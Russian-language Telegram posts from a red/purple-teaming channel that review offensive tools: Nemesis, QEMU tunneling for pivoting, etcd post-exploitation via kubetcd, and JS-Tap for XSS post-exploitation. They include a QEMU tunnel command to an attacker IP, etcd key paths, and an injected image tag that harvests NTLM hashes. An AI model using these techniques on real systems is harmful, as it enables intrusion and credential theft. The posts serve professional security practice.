На Red Teaming проектах приходится анализировать большое количество неструктурированных данных, полученных в ходе работ и использования различных инструментов.😎 Обычно эта аналитика сводилась к загрузке лута и логов в Hive с небольшими заметками и гипотезами как можно использовать полученную информацию в ходе дальнейшего развития атак. Поэтому мне всегда хотелось использовать подходы к аналитике аля Big Data, чтобы иметь под рукой всю доступную информацию проиндексированную для быстрого поиска в режиме реального времени.

Крутые ребята - @tifkin_, @harmj0y, @Max_Harley, @themightyshiv из SpecterOps создали Nemesis - инструмент позволяющий успешно решать подобные задачи:

✅ Извлекать метаданные (file types, hashes) всех загруженных файлов
✅ Структурировать данные полученные из различных источников (GPP files, web.config files, PE files)
✅ Анализировать лут в виде найденных .NET assemblies с помощью кастомной версии InspectAssembly, в целях пост эксплуатации и повышения привилегий
✅ Извлекать и индексировать метаданные и содержание офисных документов, конвертить в pdf в изолированной среде для ручного анализа (привет CanaryTokens) c помощью Gotenberg
✅ DPAPI лут (History/Downloads, Cookies, Logins, Local State files from Chromium browsers) для последующей расшифровки при наличии DPAPI masterkey
✅ Автоматизированный перебор паролей для зашифрованных файлов (PDFs, office documents, zips/7zs) с помощью John-the-Ripper
Nemesis API для автоматизации, C2 Connectors для интеграции с другими инструментами, функциональность аlert'ов и многое другое

Я уже в течение нескольких месяцев тестирую возможности этого фреймворка в лабораторной среде. Мнение на данном этапе - 🔥 впечатляющие возможности, продуманный дизайн архитектуры (схема простая - объясняю один раз на скрине), CLI/Web UI, RAGnarok - LLM чат бот для удобного поиска по индексам и многое-многое другое.

Лайк, если интересен лонгрид с картинками про возможности и опыт использования Nemesis.

Читать полностью…

PurpleBear

Network tunneling with… QEMU?

Существует множество техник и инструментов для проксирования и создания туннелей в рамках Pivoting, которые позволяют атакующему получить доступ к локальным ресурсам, по сути, делая маршрутизируемым тот трафик, который в нормальных условиях не является маршрутизируемым😎 Но часто бывает, что нет возможности тащить что-то на отломанный хост, или архитектура процессора, ОС или ограниченные ресурсы этого просто не позволяют (например, в случаях с IoT девайсами🙈) Или вам просто очень нравится концепция LOTL и вы не боитесь экспериментов🔬

В блоге Securelist by Kaspersky опубликованы подробности техники использования киберзлодеями - QEMU в качестве инструмента для туннелирования. Для справки QEMU - это эмулятор аппаратного обеспечения различных платформ, позволяющий запускать различные гостевые операционные системы, другими словами это платформа программной виртуализации.

Суть техники заключается в создании network backend -netdev user, socket, hubport интерфейсов для создания туннелей к другим QEMU-виртуалкам внутри и за пределами сети с использованием network stack хоста

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev
socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev
hubport,id=port-sock,hubid=0,netdev=sock -nographic


Другими словами подобная схема позволяет использовать созданные интерфейсы QEMU для классического туннелирования трафика, к тому же согласно документации QEMU поддерживает TAP, а значит по идее позволяет проводит L2 атаки😎

🖇 References:
☑️ Network Pivoting Techniques
☑️ Сергей Зыбнев: туннельное мышление, или Разбираемся с pivoting
☑️ Caster - MikroTik Nightmare

#pivoting #QEMU

Читать полностью…

PurpleBear

немного бэкстейджа со съемок AM Live 😄

Читать полностью…

PurpleBear

Как натренировать кибербезопасность в формате Purple Teaming?
01 марта 2024 - 11:00 (МСК)


В чём преимущества подхода и практических тренировок в формате Purple Teaming, из каких этапов они состоят, как их проводить на практике и какой результат получает заказчик по итогам их проведения.

🔸 Уникальные фишки Purple Teaming. Чем этот подход отличается от Red Teaming?
🔸 Какие задачи решает Purple Teaming в кибербезопасности организации?
🔸 Из кого состоят фиолетовые (пурпурные) команды?
🔸 В чем измеряется результат от вложений в тренировки в формате Purple Teaming?
🔸 Как правильно распределить роли внутри команды Purple Team?
🔸 Как часто необходимо проводить Purple Teaming?

Зарегистрироваться, чтобы задать вопросы экспертам »»

Читать полностью…

PurpleBear

From Bank Heists to Security Insights: The Jayson E. Street Story

Вечером предпраздничного дня хочется немного отдохнуть и отвлечься от работы, поэтому предлагаю вашему внимаю - подкаст The Security Repo, с участием моих хороших знакомых Jayson E. Street в гостях у Mackenzie Jackson
Мы познакомились на крутейшей конференции KazHackStan несколько лет назад🔥

Jayson E. Street - легендарный хакер, гуру в области социалки с мировым именем, DEF CON Groups Global Ambassador и спикер на многих международных конференциях. К тому же Jayson очень позитивный человек и непревзойденный storyteller, истории его приключений из жизни и на проектах в разных странах можно буквально слушать часами❤️

Mackenzie Jackson - developer advocate в GitGuardian, гуру в области DevSecOps и Code Security, автор многочисленных статей, публикаций и выступлений, а также ведущий своего подкаста. Кстати, обратите внимание на футболку Mackenzie👍

В подкасте Jayson рассказывает о своих приключениях, делится мыслями о hackers mindset походах к решению любых задач, ведь в конечном итоге способность думать outside the box и использовать творческий подход в решении технических задач играет очень важную роль в нашей повседневной жизни. Приятного просмотра!

PS: Желаю всем удачного окончания рабочей недели и хороших выходных!

Читать полностью…

PurpleBear

Post-Exploiting a Compromised ETCD

Каждый кто имел дело с тестированием Kubernetes, знает что etcd является одним из ключевых компонентов Control Plane любого кластера и практически каждая методология пентеста k8s описывает этот компонент, как хранилище секретов (паролей, API токенов, SSH ключей и пр)

etcd - это распределенное хранилище типа key-value, основанное на алгоритме консенсуса Raft 🤪, в котором хранятся секреты и метаданные о состоянии кластера, взаимодействие с которой осуществляется с помощью etcdctl по gRPC API протоколу protobuf, простыми словами данные передаются в сериализованном виде. Кстати, древние версии etcd вообще не предполагали аутентификацию, с etcd v2.1.0 (2015 год) подвезли Basic Auth по REST API. С точки зрения атакующего риски и потенциальные возможности чтения секретов в /registry/secrets/$namespace/$secret понятны и очевидны. А вот возможности пост-эксплуатации с точки зрения обеспечения закрепления в обход механизмов безопасности AdmissionControllers раньше даже не рассматривались😎

Предположим ситуацию, в ходе пентеста удалось найти серты для доступа к etcd или получить доступ каким-нибудь другим чудесным способом🔮

/etc/kubernetes/pki/etcd/ca.crt
/etc/kubernetes/pki/etcd/server.crt
/etc/kubernetes/pki/etcd/server.key


С помощью инструмента kubetcd, который по сути является оберткой над auger, который сериализует/десериализует данные etcd в protobuf можно автоматизировать пост-эксплуатацию:
☑️ Создавать новые привилегированные поды в обход политик безопасности Kyverno и пр.
☑️ Reverse shell на привилегированных подах с доступом на ноду
☑️ Изменять метаданные подов (время создания)
☑️ Закрепление через создание подов в default namespace (не видно через kubectl get pods)

Запись доклада автора инструмента Luis Toro Puig с KubeCon China 2023, слайды и статья c детальным описание функциональности

Читать полностью…

PurpleBear

Начать рабочую неделю хотелось бы с размышлений на тему подхода к выбору тест-кейсов реализуемых во время проведения Purple Teaming проектов.

Одной из основных задач Purple Team является создание и оптимизация процессов своевременного обнаружения и расследования инцидентов ИБ, поэтому к выбору реализуемых тест-кейсов необходимо подходить максимально детально и с пониманием потенциальных результатов, так как это в конечном итоге повлияет на эффективность работ на этапе Detection Engineering.

Существует подход, который можно описать как Quality through Quantity (качество через количество) то есть чем больше тест-кейсов мы реализуем, тем лучше будет результат. Под количеством в данном случае мы понимаем различные вариации техник и саб-техник и на выходе в теории получаем максимальное покрытие мониторингом и своевременное обнаружение максимального количества угроз. Но по факту это приводит к огромному количеству работы для создания и проверки правил детектирования для однообразных техник, которые закрывают определенную тактику атакующих. На пример, существует несколько ключевых техник Process Injection (Classic shellcode Injection, APC Injection, File Mapping, Atom Bombing, Thread Hijacking, Threadless Injection и прочее) и огромное количество различных вариаций реализаций этих техник с небольшими изменениями, но не меняющих суть общего подхода и методов обнаружения каждой из них. Поэтому наиболее эффективным в данном случае будет подход к группировке этих техник относительно способов обнаружения, чтобы в идеале каждое созданное правило закрывало максимально возможное количество техник. И для тест-кейсов уже выбирать самые разные техники относительно методов обнаружения.

Данный подход детально раскрывается в различных выступлениях Jared Atkinson из SpectrOps, если интересно рекомендую начать с этого выступления на Black Hat USA 2023

Таким образом, применяя подобный подход по результатам проекта получается отработать большее количество техник за меньшее время без потери эффективности и не заставить команду SOC, отвечающую за Detection Engineering вас ненавидеть🙏

Читать полностью…

PurpleBear

JS-Tap: Weaponizing JavaScript for Red Teams

Тестирование на проникновение в формате Red Teaming, в качестве цели предполагает возможность реализации бизнес рисков/недопустимых событий. Поэтому при эксплуатации XSS в уязвимом приложении обычно демонстрации пейлоада <script>alert("XSS")</script> недостаточно. Да и в целом иногда бывает сложно объяснить бизнесу потенциальный импакт от эксплуатации XSS при проведении других видов тестирований, без наглядной демонстрации последствий эксплуатации.

В этой заметке хочу рассказать про JS-Tap - интересный инструмент для развития вектора эксплуатации client-side XSS, который представляет собой js библиотеку, обеспечивающую широкие возможности пост-эксплуатации и C2 сервера на python c веб-интерфейсом для управления.

Существует 2 режима работы:

🔴Trap Mode - эксплуатация XSS в iframe уязвимого приложения, js пейлоад на ~800 строк позволяет собрать:
✅Client IP address, OS, Browser
✅User inputs (credentials, etc.)
✅URLs visited
✅Cookies (that don't have httponly flag set)
✅Local Storage
✅Session Storage
✅HTML code of pages visited
✅Screenshots of pages visited
✅XHR/Fetch API network requests

🔴Implant Mode - дает такие же возможности, но без iframe и необходимости прямого взаимодействия с пользователем для эксплуатации XSS. Проэксплуатировав RCE и имея шелл на сервере веб-приложения, можно немного "дописать" функциональность, добавив пейлоад JS-Tap в js файлы приложения и дальше развлекаться подобным образом со всеми пользователями приложения😎

Подобный сценарий развития атаки когда-то давно был очень популярен, например вектор - подломить какой-нибудь внутренний веб, добавить на главную <html><img src="http://responder"></html> и собрать NTLM хеши пользователей, если включен автоматический логон в intranet. Привет из 2016 для bitrix😂

Таким образом, инструмент получился очень интересный, на тестах лабораторной среде показал себя отлично и определенно заслуживает внимания сообщества👍

Читать полностью…
Subscribe to a channel